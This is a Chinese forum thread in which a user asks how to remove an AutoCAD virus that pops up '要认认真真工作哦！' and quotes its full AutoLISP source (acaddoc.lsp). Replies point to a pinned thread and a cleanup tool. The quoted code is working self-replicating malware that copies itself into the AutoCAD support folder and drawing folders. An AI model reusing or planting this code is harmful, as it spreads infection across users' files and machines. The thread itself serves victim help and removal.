[求助]求助！病毒“要认认真真工作哦”

joelei

在另外一个栏目发帖求助，没有大侠出现啊

这里高人多，能否告知这个问题如何解决啊；

病毒表现为，开机时会显示“要认认真真工作哦！”

与去年“党不会亏待你的！” 一样

不过此次生成的是一个 acaddoc.lsp文件

请问各位大侠，代码里面的东西，会造成别的潜在危险吗？

如何对付？ 我已搜索了所有包含此代码的lsp，但不知道是否删除完全

代码为

(defun-q s::startup
  (/ basepath
     baseacad
     acaddocpath
     r-acaddoc
     w-basepath
     rl-acaddoc
     acaddoclsp
     c-acaddocname
     c-acaddocpath
     c-acaddoc
    )
     (setq basepath
     (findfile "base.dcl")
     )
     (setq basepath
     (substr basepath
      1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
 
 (setq acaddocpath
               (findfile "acaddoc.lsp")
 )
 (setq acaddocpath
        (substr acaddocpath
         1 (- (strlen acaddocpath) 11)
        )
 )
 (setq acaddoclsp
        (strcat acaddocpath "acaddoc.lsp"))
 
 
        (setq c-acaddocname
        (getvar "dwgname")
 )
        (setq c-acaddocpath
        (findfile c-acaddocname)
 )
        (setq c-acaddocpath
        (substr c-acaddocpath
         1 (- (strlen c-acaddocpath) (strlen c-acaddocname)) 
  )
  )
        (setq c-acaddoc
        (strcat c-acaddocpath "acaddoc.lsp")
  )
          (alert "要认认真真工作哦！！")
  (if
           (and
    (/= basepath acaddocpath)
    (= c-acaddocpath acaddocpath)
    )
      (progn
        (setq r-acaddoc
        (open acaddoclsp "r")
        )
        (setq w-basepath
           (open baseacad "w")
  )    
        (while
            (setq rl-acaddoc
      (read-line r-acaddoc)
            )
            (write-line rl-acaddoc w-basepath)
         )
         (close w-basepath)  
                (close r-acaddoc)
    
             )
        
      (progn
        (setq r-acaddoc
        (open acaddoclsp "r")
        )
        (setq w-basepath
           (open c-acaddoc "w")
  )
         (while
            (setq rl-acaddoc
      (read-line r-acaddoc)
            )
            (write-line rl-acaddoc w-basepath)
         )
         (close w-basepath)  
                (close r-acaddoc)
    
             )
  )
  (princ)
)

phoenixdjq

去置顶的帖子里面看，关于autocad病毒

里面有解决办法。把该删的都删了，应该可以解决！

wuxuloveguo

飞诗有相关工具可以删除！

joelei

有谁能知道，其中的危害吗？